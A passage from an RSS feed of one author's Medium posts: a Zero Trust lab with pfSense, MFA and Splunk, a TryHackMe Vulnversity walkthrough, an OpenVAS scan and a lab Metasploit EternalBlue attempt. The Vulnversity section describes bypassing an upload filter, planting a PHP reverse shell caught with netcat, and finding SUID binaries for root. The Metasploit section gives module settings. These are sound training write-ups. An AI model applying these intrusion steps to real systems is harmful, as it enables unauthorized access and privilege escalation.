(OpenVPN Connect).</li><li>When prompted for credentials, enter:I have hidden my credetilas</li></ol><ul><li>Username:kelvin kiplagat</li><li>Password:********</li><li>followed by the 6-digit TOTP from Authy.</li><li>For example, if your TOTP is 123456, the password will be: word123456.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*cGegSmPtR2StPIEGqH5HOQ.png" /></figure><p>3. Test the connection:</p><ul><li>Connection should fail if the TOTP is incorrect or missing. Via the mobile phone</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*xhXeaDoP5PcDgrLgo_I9pg.png" /></figure><ul><li>Connection should succeed if both the static password and TOTP are correct.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*Ov3bIzLmHEgo8SopoE61_g.png" /></figure><p><strong>Step 3: Set Up Continuous Monitoring Using Splunk on Kali Linux</strong></p><p><strong>1. Install Splunk</strong></p><ol><li><strong>Download Splunk Free</strong>:</li></ol><ul><li>Visit <a href="https://www.splunk.com/en_us/download/splunk-enterprise.html">Splunk Enterprise Download Page</a>.</li><li>Choose the .tgz installer for Linux.</li><li>Register or log in if prompted.</li><li>Download the .tgz file to your Kali Linux system.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*22MNoc1V72_-7aggnQIjdg.png" /></figure><ol><li><strong>Install Splunk</strong>:</li></ol><ul><li>Open a terminal and navigate to the folder where the .tgz file is saved.</li><li>Extract the file:</li></ul><p><strong><em>Sudo tar -xvzf splunk-9.0.4.1–419ad9369127-linux-x86_64.tgz -C /opt</em></strong></p><p><strong><em>cd /opt/splunk/bin</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zPULHUIh2KcQu4sxqBfTCQ.png" /></figure><p>Run the following command to accept the license, and then follow the prompts to enter your <strong><em>username </em></strong>and <strong><em>password</em></strong></p><p><strong><em>sudo ./splunk start — accept-license</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*XCICEOgEUY2OwcQjqbHOrQ.png" /></figure><ol><li><strong>Access Splunk</strong>:</li></ol><ul><li>Open your browser and navigate to <a href="http://localhost:8000.">http://localhost:8000.</a></li><li>Log in using the credentials you created.</li></ul><p>Go to the Splunk address in your browser, and enter credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fq-RLuMblTx0-OLB-9p7lg.png" /></figure><ul><li>Log in using the credentials you created.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*z2q-DAA2IwFjnQ3eITao3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QSMyLxpYWpw6M6u6pJIlCg.png" /></figure><p><strong>2. Set Up Syslog Inputs</strong></p><ol><li><strong>Configure pfSense Firewall to Forward Logs</strong>:</li></ol><ul><li>Log in to the pfSense web interface.</li><li>Navigate to Status &gt; System Logs &gt; Settings.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*Gb6A9RY1SeYtWPJOrPuulA.png" /></figure><ul><li>Enable <strong>Remote Logging Options</strong> and specify the following:</li><li>Remote log server: <strong>IP address of your Splunk server (Kali Linux)</strong></li><li>Port: <strong>514</strong></li><li>Protocol: <strong>UDP</strong></li><li>Save changes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ymWdpMCQ1JPSjTbjveOR5A.png" /></figure><p><strong>One need to enable ‘Default Allow Logging</strong>’.</p><ul><li>To enable logging of allowed packets from the default allow rule, go to to <strong>Status &gt; System Logs &gt; Settings</strong> tab, then check Log packets allowed by the default rule.</li><li>Click <strong>Save</strong> to apply the changes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rnOA4zQ9KlwQcUGy4y8ZmQ.png" /></figure><ol><li><strong>Set Up Splunk to Receive Syslog Data</strong>:</li></ol><ul><li>In the Splunk web interface, navigate to Settings &gt; Data Inputs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Qm8dhla_OqQpp7RMQkFHvg.png" /></figure><ul><li>Under <strong>Local Inputs</strong>, click <strong>Add New</strong> for Syslog.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KQzmprvYUIuN1PZUc2za_w.png" /></figure><ul><li>Configure the following:</li><li><strong>Port</strong>: Enter 514 (to match the pfSense configuration).</li><li><strong>Source</strong>: Provide a meaningful name, e.g., pfSense_logs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*znR5obvfjaXOs8T3-pZeww.png" /></figure><ul><li><strong>Host</strong>: Choose “Custom” and enter pfSense.</li></ul><p><strong>Submit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jLslRcm-AalZNUKTvkLk9A.png" /></figure><ul><li>Save the configuration.</li></ul><ol><li><strong>Verify Syslog Data</strong>:</li></ol><ul><li>Use the search bar in Splunk to check for incoming syslog events:</li></ul><h4><strong><em>index=_test</em></strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lmZQdio2XQpfTbuvq455fA.png" /></figure><h4>Or <em>index =test sourcetype”pfsense_syslog”</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mEs5KDHiM5xek1SSWLBRrw.png" /></figure><p>I managed to capture more of syslog pfsense capture</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Gdr5lGdYvdnRNczo0jQKDQ.png" /></figure><p><strong>Summary of Implementation:</strong></p><p><strong><em>Network Segmentation with pfSense:</em></strong></p><p>Using pfSense, I created two VLANs: VLAN 10 for general users and VLAN 20 for sensitive systems. Firewall rules were configured to restrict inter-VLAN traffic, ensuring that general users could not access sensitive systems. This segmentation reduces the attack surface and limits lateral movement within the network. Testing confirmed that traffic between the VLANs was effectively blocked, as evidenced by screenshots of the rules and blocked attempts.</p><p><strong><em>Multi-Factor Authentication with google authentocator:</em></strong></p><p>I enabled MFA on a selected application using google authenticator to generate time-based one-time passwords (TOTP). This added an extra layer of authentication beyond just a password. Testing validated that login attempts without the TOTP were rejected, while successful logins required both the password and the Authy-generated code. Screenshots captured the successful MFA setup and usage.</p><p><strong><em>Continuous Monitoring with Splunk:</em></strong></p><p>Splunk was configured to collect syslog data from the pfSense firewall and the MFA-enabled application. A custom Splunk dashboard was created to monitor key metrics, such as user login attempts, blocked access, and network activity between VLANs. Alerts were set up to notify of suspicious activities like repeated failed logins or unauthorized VLAN access attempts. Screenshots illustrated the Splunk configuration and visualized data on the dashboard.</p><p><strong><em>Conclusion:</em></strong></p><p>Implementing these Zero Trust principles — network segmentation, MFA, and continuous monitoring — significantly strengthens CyberTech Solutions’ security by adopting a “never trust, always verify” approach. Network segmentation ensures that sensitive systems are isolated from general users, reducing exposure to potential threats. MFA mitigates risks associated with credential theft, adding a robust second layer of defense. Continuous monitoring enables real-time visibility and rapid response to anomalous or malicious activities. Together, these measures create a cohesive security framework that minimizes vulnerabilities and proactively safeguards the network.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=adb9c211d237" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VULNVERSITY]]></title>
            <link>https://medium.com/@kiplagatkelvin034/vulnversity-b9ea9a706f34?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9ea9a706f34</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Tue, 21 Jan 2025 05:09:03 GMT</pubDate>
            <atom:updated>2025-01-21T05:23:00.419Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Bypassing Upload Restrictions and Gaining Root</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*g67a_2VXWxwNZyog72Y9Sw.png" /></figure><h3>TryHackMe: Vulnversity Walkthrough</h3><p>This walkthrough explores the <strong>Vulnversity</strong> room on the TryHackMe platform, focusing on bypassing upload restrictions on a web server to gain shell access and escalate privileges. The room provides an engaging opportunity to explore vulnerabilities in web applications and develop offensive security skills.</p><h3>Prerequisites</h3><p>To effectively follow along, having a basic understanding of the following is beneficial:</p><ol><li>Nmap</li><li>Directory Busting (e.g., Gobuster)</li><li>Burp Suite</li><li>Linux file systems, permissions, SUIDs, and environment variables</li></ol><h3>Objectives</h3><ol><li>Perform reconnaissance to gather information about the target.</li><li>Identify hidden directories on the web server.</li><li>Exploit upload functionality to gain a shell on the web server.</li><li>Escalate privileges to root and retrieve the final flag.</li></ol><h3>Learning Outcomes</h3><ol><li>Learn Nmap flags for effective host scanning.</li><li>Use Gobuster to identify hidden web directories.</li><li>Understand how to bypass file upload restrictions to gain access.</li><li>Perform privilege escalation on Linux systems.</li></ol><h3>Walkthrough</h3><h4>Task 1: Deploy the Machine</h4><ol><li>Connect to the TryHackMe network using OpenVPN:</li></ol><p>sudo openvpn &lt;config_file&gt;.ovpn</p><p>Confirm the connection by verifying the tun0 or tun1 interface using:</p><ul><li>ifconfig</li></ul><h4>Task 2: Reconnaissance with Nmap</h4><p>Run an Nmap scan to enumerate open ports and services on the target:</p><p>The first thing we need to do is to gather information on our target using <strong>NMAP </strong>and switched to -<strong>A </strong>to do more of aggressive scan and this are the results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*_Vb6OKv0iQ36ZxbM90lR2Q.png" /></figure><pre>nmap -sV -A -Pn -sC -oN vulnversity_scan.txt 10.10.26.299<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*W3lXl2dsHCQIAchLJPWBZg.png" /></figure><ul><li>The output might include:</li></ul><ol><li><strong>Open Ports</strong>: Which ports are accessible (e.g., 22, 80).</li><li><strong>Services</strong>: Services running on those ports (e.g., SSH, HTTP).</li><li><strong>Service Versions</strong>: Specific version details (e.g., Apache/2.4.54).</li><li><strong>Operating System</strong>: Detected OS and version (e.g., Linux 4.15).</li><li><strong>Script Results</strong>: Default NSE script outputs like SSL info or vulnerabilities.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*_Vb6OKv0iQ36ZxbM90lR2Q.png" /></figure><h4>Task 3: Directory Enumeration</h4><p>With the details about the open ports and running services in hand, we can now investigate the HTTP service on port 3333. Upon accessing it using the target machine’s IP and port, a webpage is displayed. However, exploring it yields minimal useful information.</p><p>Use Gobuster to locate hidden directories:</p><pre>gobuster dir -u http://10.10.26.239:3333 -w /usr/share/wordlists/dirb/common.txt</pre><p>result of the output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*NGxsqpxVvhls-EY8cm3zYA.png" /></figure><p>Gobuster was utilized to uncover hidden directories. The results revealed several directories, most of which are standard and commonly found on websites. However, the /internal directory stood out as it led to a page featuring an upload option. If you&#39;re thinking what I’m thinking, things are about to get quite interesting!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*okkA1B1EF5a0-0ra9Ra7wA.png" /></figure><ul><li>The scan reveals several directories. Accessing the /internal directory presents a file upload form.</li></ul><h4>Task 4: Bypassing File Upload Restrictions</h4><ol><li>Attempt to upload files of various extensions.</li></ol><p>Extensions like .png and .jpeg fail due to restrictions.I attempted to upload other extension and it failed terribly</p><p>2.Use <strong>Burp Suite</strong> to intercept upload requests and fuzz for allowed extensions.</p><p>-Now to know which extension is allowed on the web server so that we may get a shell, fire up <strong>Burp Suite</strong>. Remember to configure the proxy on the web browser so that the traffic may get intercepted by Burp Suite via this proxy.</p><p>set the attack target</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*t8VLgu5sp6KVIJLybNL4kg.png" /></figure><p>Upload a file with any extension on the web server’s upload page to capture the request in the HTTP history. Ensure the interceptor is enabled to intercept the request successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*AwLkrJs-B-K-YU1JeWbfMQ.png" /></figure><p>Forward the captured request to the intruder and highlight the extension field. We will perform fuzzing on this field to identify which extensions can bypass the restrictions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*driaezniTC5-4iZNclrqoA.png" /></figure><p>Intruder</p><p>In the payload settings, add the extensions to be tested during fuzzing. Ensure the encode option is unchecked, as leaving it enabled may produce incorrect results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BEjn5ckBvuczDnDj6o3vzQ.png" /></figure><p>Selecting the payload for fuzzing involves navigating to the options menu and adding a “grep match.” This will capture the specific output message that appears when an invalid file extension is uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WguooCf5BlhonOGtIhfkcw.png" /></figure><p>Click on “Attack” to initiate the fuzzing process. Upon review, it becomes evident that the .phtml extension is permitted on the web server. This can be verified in two ways: by observing the response length and analyzing the web page&#39;s response to this extension in the raw tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*dfdF1qP9zrddvJ7Zmh7QhA.png" /></figure><p>Now that we know that <strong>.phtml</strong> extension is allowed. Its time to upload the PHP shell. The PHP shell to be uploaded can be found <strong>here</strong>. Edit the script by adding the local IP address of your machine that can be found by typing the cmd command in the terminal. The IP against <strong>tun0</strong> or <strong>tun1</strong> has to be copied and added into the script. Before uploading the script let us use Net-cat to listen to incoming connections on port 1234 as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*fWU0Mdi_0uBFCsbBk2wE1g.png" /></figure><p>netcat listening on port 1234</p><p>Upload the PHP script on the internal webpage of the server, we will see that the script has been uploaded successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*psFXOuAr7WybuQ40ki3jAQ.png" /></figure><p>Uploaded .phtml script</p><p>Navigate to <strong>http://&lt;ip&gt;:3333/internal/uploads/php-reverse-shell.phtml.</strong>As soon as we navigate to this URL we will get a reverse shell as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QA0RHhsR6NBqS8AytRgxpA.png" /></figure><p><strong>Reverse Shell Access</strong><br>To identify the user managing the server, navigate to the etc/passwd file. This file reveals that there is only one user with bash access. Based on this observation, we can deduce the user responsible for managing the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xJR31WnVyHWiLQ3faCcK3g.png" /></figure><p>etc/passwd file</p><p>Navigating to the user directory we get the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*rcFvDLvp6YidHcIX-bF-5g.png" /></figure><h3><strong>Task 5 Privilege Escalation</strong></h3><p>With shell access established, the next step is to escalate privileges to root. This process can be complex and requires a solid understanding of the setuid function and Linux permissions. As explained earlier, setuid allows certain files to execute with elevated privileges. Currently, examining our user’s permissions reveals that we lack root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*tAGXGKtlSZRQB7xl4sYzcw.png" /></figure><p>Let list out all suid files by using <strong>find / -user root -perm -4000 -exec ls -ldb {} \;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*i10Y5gfMKu_iTWquyaBXEw.png" /></figure><p>Among the files with setuid enabled, /bin/systemctl stands out because it is unusual for systemctl to have setuid permissions. To confirm this anomaly, I ran the same command on other hosts and found that none of them had setuid enabled for systemctl. This makes it a noteworthy target for privilege escalation. A great resource for such scenarios is <a href="https://gtfobins.github.io/">GTFOBins</a>, which provides information on Unix binaries that can be leveraged to bypass local security policies and escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hd2_lBipF45JzPX7-oxa1A.png" /></figure><p>I hope you enjoyed the walk-through………</p><h3>Conclusion</h3><p>This walkthrough demonstrated how to bypass upload restrictions on a vulnerable web server, gain shell access, and escalate privileges to root. The Vulnversity room offers a practical, hands-on learning experience for web application security and privilege escalation techniques.</p><p>I hope this write-up helps! Feel free to leave feedback or ask any questions in the comments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9ea9a706f34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring Vulnerabilities: A Hands-On Assessment with OpenVAS(GVM)]]></title>
            <link>https://medium.com/@kiplagatkelvin034/exploring-vulnerabilities-a-hands-on-assessment-with-openvas-gvm-4ceb3b3a5ed2?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ceb3b3a5ed2</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Wed, 08 Jan 2025 18:56:48 GMT</pubDate>
            <atom:updated>2025-01-08T18:56:48.238Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*RoMzwk3AeZzbximpNs2XBg.png" /></figure><p><strong>Introduction</strong></p><p>In today’s ever-evolving cybersecurity landscape, identifying and mitigating vulnerabilities is a vital practice. In this case study, I explore the vulnerability assessment of CyberTech Solutions’ network using OpenVAS on Kali Linux. By conducting a comprehensive scan, analyzing results, and recommending remediations, this exercise demonstrates the importance of proactive measures in securing IT infrastructure.</p><p><strong>Setup and Installation</strong></p><p>To carry out this assessment, I installed and configured OpenVAS on a Kali Linux system. OpenVAS, a powerful open-source vulnerability scanner, allows for detailed analysis of network security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PZL4LerH_8JvhyaTXwUySw.png" /></figure><p><strong>Steps to Install OpenVAS:</strong></p><ol><li><strong>Install OpenVAS:</strong></li></ol><p>sudo apt update &amp;&amp; sudo apt install -y openvas</p><ol><li><strong>Set up OpenVAS:</strong></li></ol><p>sudo gvm-setup</p><ol><li><strong>Start the service:</strong></li></ol><p>sudo gvm-start</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L7dFCA0A6XxAkvXvRT899Q.png" /></figure><ol><li><strong>Access the Web Interface:</strong> Navigate to https://&lt;your-ip&gt;:9392 and log in using the credentials set during the setup.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ADnVCbUyVzo_yURKqAJP6g.png" /></figure><p>These steps ensure a ready-to-use environment for scanning. For an enhanced experience, screenshots of the installation process are included.</p><p><strong>Scanning Process</strong></p><p>Once OpenVAS was configured, I created a scanning task to assess CyberTech Solutions’ network, targeting the IP address 10.6.6.12. The steps included:</p><ol><li><strong>Configuring the Target:</strong></li></ol><ul><li>Added 10.6.6.12 as a new target under <strong>Configuration &gt; Targets</strong>.</li><li>Selected “Full and Fast” as the scan configuration for efficiency and coverage.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Iyhe6rNeBLzM4hTu0tuFww.png" /></figure><p>2. <strong>Running the Scan:</strong></p><p>Created a new task under <strong>Scans &gt; Tasks</strong>, linked it to the target, and started the scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_8eteu9pP3bXG3Z5MFiAMA.png" /></figure><p>Monitored the progress and reviewed results upon completion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZfHFa18vIb7wKgpaZarl9Q.png" /></figure><p><strong>Findings</strong></p><p>The scan yielded two low-severity vulnerabilities. Here are the details:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZK16IPA33CMgiDZ0cRjlg.png" /></figure><p><strong>Detailed Analysis</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nOfNlRa_y3anl0TbvEgFMQ.png" /></figure><ul><li><strong>TCP Timestamps Information Disclosure</strong></li><li><strong>Impact:</strong> The remote host implements TCP timestamps, which can disclose uptime information.</li><li><strong>Mitigation:</strong> Add the following to /etc/sysctl.conf and apply it:net.ipv4.tcp_timestamps = 0sudo sysctl -p</li><li><strong>ICMP Timestamp Reply Information Disclosure</strong></li><li><strong>Impact:</strong> ICMP timestamp replies could be exploited in timing attacks.</li><li><strong>Mitigation:</strong> Configure the firewall to block ICMP packets from untrusted networks.</li></ul><p><strong>Analysis and Prioritization</strong></p><p>Although both vulnerabilities were rated low, they could be leveraged in larger attacks. Prioritizing these issues ensures a stronger security posture:</p><ol><li><strong>Disable TCP timestamps</strong> to reduce information leakage.</li><li><strong>Restrict ICMP packets</strong> using firewalls for an additional layer of defense.</li></ol><p><strong>Conclusion</strong></p><p>This vulnerability assessment highlights the value of tools like OpenVAS in identifying and mitigating risks. Regular scans and proactive remediation are essential to maintaining a secure network. By addressing even low-severity issues, organizations can reduce their attack surface and improve resilience against potential threats.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ceb3b3a5ed2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling Network Vulnerabilities: A Penetration Testing Journey with Nmap and Metasploit]]></title>
            <link>https://medium.com/@kiplagatkelvin034/unveiling-network-vulnerabilities-a-penetration-testing-journey-with-nmap-and-metasploit-2e824da0b630?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e824da0b630</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Wed, 08 Jan 2025 10:07:17 GMT</pubDate>
            <atom:updated>2025-01-08T10:07:17.536Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*aTkR1Yt4lvAbee0wX8AaGg.png" /></figure><p><strong>Objective</strong></p><p>The objective of this activity was to perform a vulnerability assessment and basic penetration testing on a fictional network for <strong>CyberTech Solutions</strong>. The task involved scanning the network using <strong>Nmap</strong>, identifying vulnerabilities, and attempting to exploit one of the discovered vulnerabilities using <strong>Metasploit</strong>.</p><p><strong>1. Environment Setup</strong></p><p><strong>1.1 Installing Windows on VMware</strong></p><ul><li><strong>VMware Installation</strong>: I set up a <strong>Windows VM</strong> on <strong>VMware Workstation</strong> for testing purposes. The Windows version was selected as one that is vulnerable to the <strong>MS17–010 (EternalBlue)</strong> exploit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Hot2Gy4re2xbmBa_Ait3ig.png" /></figure><ul><li><strong>Windows Installation</strong>: Followed the standard procedure for installing Windows on the virtual machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_iBcLilIWcF6uI4_vEsNtQ.png" /></figure><p><strong>1.2 Configuring Networking</strong></p><ul><li><strong>Network Configuration</strong>: After Windows installation, I configured the network settings to ensure both the <strong>Windows VM</strong> (IP: 192.168.158.129) and <strong>Kali Linux VM</strong> (IP: 192.168.158.100) were on the same subnet.</li><li><strong>Changed Subnet IP</strong>: I modified the network adapter settings in <strong>VMware</strong> to place both systems in the same network.</li></ul><p><strong>Current Window ip address</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Y4lPsyrJ1ZCzthhlQVqhsg.png" /></figure><p><strong>Current kali-linux ip address</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*v4bHyXLimEKwIrMFAQw8Kw.png" /></figure><ul><li><strong>Network Adapter Mode</strong>: Set the network adapter to <strong>NAT</strong> mode to ensure both systems were on the same network.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*uCzCVSGC_G1oehsNvRr1ug.png" /></figure><p><strong>1.3 Verifying Network Communication</strong></p><ul><li><strong>Ping Test</strong>: To verify network communication between the two systems, I performed a <strong>ping test</strong> from <strong>Kali Linux</strong> to <strong>Windows</strong> using the following command:</li></ul><p><em>ping 192.168.158.129</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Im_ZaDiY-mj_QpAHW0XTuw.png" /></figure><ul><li><strong>Ping Test</strong>: To verify network communication between the two systems, I performed a <strong>ping test</strong> from Windows<strong> to</strong> <strong>kali linux</strong> using the following command:</li></ul><p><em>ping 192.168.158.100</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wx07_bBSP23ys3vJ3Zy7xQ.png" /></figure><p>The successful response confirmed that the two systems were able to communicate.</p><p><strong>1.4 Modifying Firewall Rules</strong></p><ul><li><strong>Disabling Firewall on Windows</strong>: The default firewall on Windows could block incoming connections, so I disabled it temporarily to enable the exploit to work:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zvzrcGn-ugwvjigJNeHl_w.png" /></figure><p><strong>2. Activity 1: Individual Hands-On Activity</strong></p><p><strong>Objective</strong></p><p>In this activity, I performed a <strong>vulnerability assessment</strong> and <strong>penetration testing</strong> on a fictional network belonging to <strong>CyberTech Solutions</strong>. I used <strong>Nmap</strong> to scan for vulnerabilities and <strong>Metasploit</strong> to attempt an exploitation of one of the discovered weaknesses.</p><p><strong>Step 2: Conduct a Vulnerability Assessment Using Nmap</strong></p><ol><li><strong>Nmap Installation and Execution</strong>: Since I was using <strong>Kali Linux</strong>, <strong>Nmap</strong> was already pre-installed. I ran the following <strong>Nmap</strong> scan to identify open ports and services on the <strong>Windows</strong> machine (IP: 192.168.158.129):</li></ol><p><em>nmap -sS -sV 192.168.158.129</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xdohtUxdmK_BKNrLtj9TsQ.png" /></figure><p>This performed a <strong>SYN scan</strong> and <strong>service version detection</strong>, identifying the following services:</p><ul><li><strong>Port 139</strong>: <strong>netbios-ssn</strong> (Microsoft Windows netbios-ssn)</li><li><strong>Port 445</strong>: <strong>microsoft-ds</strong> (Microsoft Windows 7–10 microsoft-ds)</li><li><strong>Port 5357</strong>: <strong>http</strong> (Microsoft HTTPAPI httpd 2.0)</li></ul><ol><li><strong>Analysis</strong>: Based on the Nmap scan results, I noted the following potential vulnerabilities:</li></ol><ul><li><strong>Port 445</strong>: This port is used for <strong>SMB</strong> and is often targeted by exploits such as <strong>EternalBlue</strong>.</li><li><strong>Port 5357</strong>: This port runs <strong>Microsoft HTTPAPI</strong> and could potentially be vulnerable to various HTTP-based attacks.</li></ul><p><em>nmap -p -A 192.168.158.129</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PV7PTsfzzD1VCJVSWUINwg.png" /></figure><p>-p-: This will scan all 65535 ports on the target machine.</p><p>-A: This enables aggressive scan options which include OS detection, version detection, script scanning, and traceroute. This will help in identifying potential vulnerabilities in the services running on open ports.</p><p><strong>Step 3: Conduct a Basic Penetration Test Using Metasploit</strong></p><p><strong>1. Launch Metasploit:</strong> I launched Metasploit Framework by executing the following command:</p><p>Msfconsole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*C1PU2XcyqSreHGrZUKJFYg.png" /></figure><p>opened the Metasploit console for further exploitation.</p><p><strong>2. Selecting and Configuring Exploit (MS17–010 EternalBlue):</strong> After performing reconnaissance and identifying the potential SMB vulnerability, I selected the <strong>EternalBlue</strong> exploit (<strong>MS17–010</strong>) from Metasploit:</p><p>use exploit/windows/smb/ms17_010_eternalblue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*MS9HZfsFpVjnk4fyu-NnxA.png" /></figure><p>set RHOST 192.168.158.129</p><p>set LHOST 192.168.158.100</p><p>set LPORT 4444</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*1zkKPvunB5kQS3pAPWSU1w.png" /></figure><ul><li>The <strong>RHOST</strong> was set to the target IP (192.168.158.129), and <strong>LHOST</strong> was set to my Kali Linux IP (192.168.158.100).</li><li>The <strong>LPORT</strong> was configured to <strong>4444</strong>, which is a standard port for reverse TCP connections.</li></ul><p><strong>3. Exploitation Attempt:</strong> Once configured, I ran the following command to attempt the exploitation:</p><p>Exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*5fgNV6OXnjIa3cTi9o-hYw.png" /></figure><p>The system attempted to connect back, but there were issues, and no session was created. After analyzing the error messages, I found that the target system might not have been vulnerable to this exploit, either due to patches or system configuration.</p><p><strong>4. Alternate Exploitation Attempts:</strong> I also attempted other exploits such as <strong>MS08–067</strong> and <strong>MS10–061</strong>; however, these did not yield successful results either. This could be due to the target system being patched or properly secured.</p><p><strong>3. Conclusion:</strong></p><p>The penetration test on the target system revealed that despite several vulnerabilities (such as those associated with SMB), the system was either patched or configured to prevent exploitation of known vulnerabilities. While common SMB vulnerabilities were detected in the Nmap scan, attempts to exploit these vulnerabilities through <strong>Metasploit</strong> did not result in a successful session.</p><p><strong>Key Findings:</strong></p><ul><li>The target machine was running several open ports, including 445 (SMB), which could have been exploited using vulnerabilities such as <strong>EternalBlue</strong> (MS17–010).</li><li>Network communication was verified successfully between Kali Linux and the Windows VM.</li><li><strong>Metasploit</strong> exploits did not successfully compromise the target system, possibly due to patches or security configurations.</li></ul><p><strong>Recommendations:</strong></p><ul><li>Ensure that the target system is regularly updated and patched to mitigate the risk of well-known exploits such as <strong>EternalBlue</strong>.</li><li>Consider implementing additional security controls such as firewalls and intrusion detection systems (IDS) to protect against unauthorized access attempts.</li><li>Perform further vulnerability assessments using different tools and techniques to identify any weak points that might have been missed in this test.</li></ul><p>n/b. the topic is not yet closed I will keep searching for ways to exploit it</p><p>trying to solve the assignment below and meeting the objective <strong>Activity 1: Individual Hands-On Activity</strong></p><p><strong>Objective:</strong></p><p>In this activity, you will conduct a <strong>vulnerability assessment</strong> and a <strong>basic penetration test</strong> on a fictional network for <strong>CyberTech Solutions</strong> using <strong>Nmap</strong> and <strong>Metasploit</strong>. You will scan the network for vulnerabilities, identify weaknesses, and attempt to exploit one of the discovered vulnerabilities.</p><p><strong>Step-by-Step Guide for Individual Hands-On Activity:</strong></p><p><strong>Step 1: Set Up the Testing Environment</strong></p><ul><li><strong>Option 1 (Local Tool)</strong>: Install <strong>Kali Linux</strong> (<a href="https://www.kali.org/">https://www.kali.org/Links to an external site.</a>), 